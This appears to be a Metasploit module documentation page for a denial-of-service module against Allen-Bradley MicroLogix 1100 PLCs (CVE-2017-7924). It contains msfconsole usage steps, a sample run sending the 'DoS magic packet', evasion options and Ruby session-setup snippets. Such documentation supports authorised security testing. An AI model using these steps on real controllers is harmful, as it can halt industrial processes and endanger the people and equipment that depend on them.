DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC) - Metasploit
This page contains detailed information about how to use the auxiliary/dos/scada/allen_bradley_pccc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
Module: auxiliary/dos/scada/allen_bradley_pccc
Source code: modules/auxiliary/dos/scada/allen_bradley_pccc.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 44818
List of CVEs: CVE-2017-7924
A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(allen_bradley_pccc) > show targets
... a list of targets ...
msf auxiliary(allen_bradley_pccc) > set TARGET target-id
msf auxiliary(allen_bradley_pccc) > show options
... show and set options ...
msf auxiliary(allen_bradley_pccc) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned.
Verification Steps
- Do:
use auxiliary/dos/scada/allen_bradley_pccc
- Do:
set RHOST=IP
where IP is the IP address of the target - Do:
check
verify if target is vulnerable - Do:
exploit
send DoS packet
Options
- PORT:
set RPORT=44818
Scenarios
msf > use auxiliary/dos/scada/allen_bradley_pccc
msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194
RHOST => 172.27.248.194
msf auxiliary(dos/scada/allen_bradley_pccc) > check
[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00
[+] 172.27.248.194:44818 - The target is vulnerable.
msf auxiliary(dos/scada/allen_bradley_pccc) > exploit
[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666)
[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85)
[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet...
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the dos/scada/allen_bradley_pccc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/scada/allen_bradley_pccc
msf6 auxiliary(dos/scada/allen_bradley_pccc) > show info
Name: DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)
Module: auxiliary/dos/scada/allen_bradley_pccc
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Jos�� Diogo Monteiro <[email protected]>
Luis Rosa <[email protected]>
Miguel Borges de Freitas <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 44818 yes The target port (TCP)
Description:
A remote, unauthenticated attacker could send a single, specially
crafted Programmable Controller Communication Commands (PCCC) packet
to the controller that could potentially cause the controller to
enter a DoS condition. MicroLogix 1100 controllers are affected:
1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD.
CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3
base score of 7.5 has been assigned.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-7924
https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03
http://dl.acm.org/citation.cfm?doid=3174776.3174780
Module Options
This is a complete list of options available in the dos/scada/allen_bradley_pccc auxiliary module:
msf6 auxiliary(dos/scada/allen_bradley_pccc) > show options
Module options (auxiliary/dos/scada/allen_bradley_pccc):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 44818 yes The target port (TCP)
Advanced Options
Here is a complete list of advanced options supported by the dos/scada/allen_bradley_pccc auxiliary module:
msf6 auxiliary(dos/scada/allen_bradley_pccc) > show advanced
Module advanced options (auxiliary/dos/scada/allen_bradley_pccc):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/scada/allen_bradley_pccc module can do:
msf6 auxiliary(dos/scada/allen_bradley_pccc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/scada/allen_bradley_pccc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/scada/allen_bradley_pccc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
EtherNet/IP Packet Not Valid
Here is a relevant code snippet related to the "EtherNet/IP Packet Not Valid" error message:
135: res = udp_sock.recvfrom(90)
136:
137: disconnect_udp
138:
139: unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
140: print_error "EtherNet/IP Packet Not Valid"
141: return Exploit::CheckCode::Unsupported
142: end
143:
144: revision = res[0][54,2]
145: product_name_len = res[0][62].unpack("c*")[0]
Ethernet/IP - Failed to create session.
Here is a relevant code snippet related to the "Ethernet/IP - Failed to create session." error message:
177: connect
178: # Register Ethernet/IP session
179: sock.put(enip_register_session_pkt)
180: enip_register_session_ans = sock.get_once
181: unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
182: print_error "Ethernet/IP - Failed to create session."
183: disconnect
184: return
185: end
186: enip_session_id = enip_register_session_ans[4, 4]
187: print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"
CIP Connection Manager - Failed Forward Open request
Here is a relevant code snippet related to the "CIP Connection Manager - Failed Forward Open request" error message:
188:
189: # Ethernet/IP CCM Forward Open
190: sock.put(enip_ccm_forward_open_pkt(enip_session_id))
191: enip_ccm_forward_open_ans = sock.get_once
192: unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
193: print_error "CIP Connection Manager - Failed Forward Open request"
194: disconnect
195: return
196: end
197: cip_connection_id = enip_ccm_forward_open_ans[44, 4]
198: print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"
Go back to menu.
Related Pull Requests
- #13608 Merged Pull Request: Standardise Error Logging
- #11297 Merged Pull Request: typo fixed
- #11106 Merged Pull Request: DoS Exploitation of Allen-Bradley legacy protocol (PCCC)
References
- CVE-2017-7924
- https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03
- http://dl.acm.org/citation.cfm?doid=3174776.3174780
See Also
Check also the following modules related to this module:
- auxiliary/dos/scada/beckhoff_twincat
- auxiliary/dos/scada/d20_tftp_overflow
- auxiliary/dos/scada/igss9_dataserver
- auxiliary/dos/scada/siemens_siprotec4
- auxiliary/dos/scada/yokogawa_logsvr
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/scada/ge_proficy_substitute_traversal
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/modicon_password_recovery
- auxiliary/admin/scada/modicon_stux_transfer
- auxiliary/admin/scada/moxa_credentials_recovery
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/scanner/scada/bacnet_l3
- auxiliary/scanner/scada/digi_addp_reboot
- auxiliary/scanner/scada/digi_addp_version
- auxiliary/scanner/scada/digi_realport_serialport_scan
- auxiliary/scanner/scada/digi_realport_version
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/koyo_login
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
- auxiliary/scanner/scada/moxa_discover
- auxiliary/scanner/scada/pcomclient
- auxiliary/scanner/scada/profinet_siemens
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>
- Luis Rosa <lmrosa[at]dei.uc.pt>
- Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.